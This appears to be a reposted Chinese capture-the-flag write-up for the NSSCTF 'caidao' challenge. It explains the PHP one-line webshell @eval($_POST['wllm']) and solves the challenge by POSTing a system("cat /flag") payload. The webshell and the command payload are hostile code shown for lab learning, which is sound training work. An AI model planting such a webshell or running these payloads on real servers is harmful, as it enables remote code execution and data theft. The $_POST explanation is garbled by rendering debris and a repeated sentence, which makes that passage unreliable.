欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 科技 > 能源 > NSSCTF练习记录:[SWPUCTF 2021 新生赛]caidao

NSSCTF练习记录:[SWPUCTF 2021 新生赛]caidao

2024/10/24 3:22:45 来源:https://blog.csdn.net/qq_44396970/article/details/140956073  浏览:    关键词:NSSCTF练习记录:[SWPUCTF 2021 新生赛]caidao

题目:
在这里插入图片描述
图片上给出了代码,是php的一句话木马

@eval($_POST['wllm']);

@符号
@符号表示后面的语句即使执行错误,也不报错。

eval()函数
eval()函数的作用是把括号内的字符串全部当作php代码来执行。

** P O S T [ ′ w l l m ′ ] ∗ ∗ p o s t 方法是 h t m l 中 < f o r m > 标签中的方法,在页面中,所有的 P O S T 方法都会由 s u b m i t 输入方式向 a c t i o n 中的 p h p 文件返还信息,通常这样的 p h p 文件是连着数据库的,甚至可以直接对文件进行操作。当使用 < f o r m > 标签的 p o s t 方法时候,同时 < f o r m > 标签里面的 n a m e 属性等于 w l l m ,会在 p h p 文件中产生一个 POST['wllm']** post方法是html中<form>标签中的方法,在页面中,所有的POST方法都会由submit输入方式向action中的php文件返还信息,通常这样的php文件是连着数据库的,甚至可以直接对文件进行操作。当使用<form>标签的post方法时候,同时<form>标签里面的name属性等于wllm,会在php文件中产生一个 POST[wllm]post方法是html<form>标签中的方法,在页面中,所有的POST方法都会由submit输入方式向action中的php文件返还信息,通常这样的php文件是连着数据库的,甚至可以直接对文件进行操作。当使用<form>标签的post方法时候,同时<form>标签里面的name属性等于wllm,会在php文件中产生一个_POST[cmd]变量,变量中储存有用户提交的数据。

eval()函数配合$_POST变量输入的字符串来执行php语句,就可以达到操作数据库和服务器的效果。

直接用hackbar对页面POST参数

wllm=system("cat /flag");

然后左上角就出现flag了
在这里插入图片描述

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com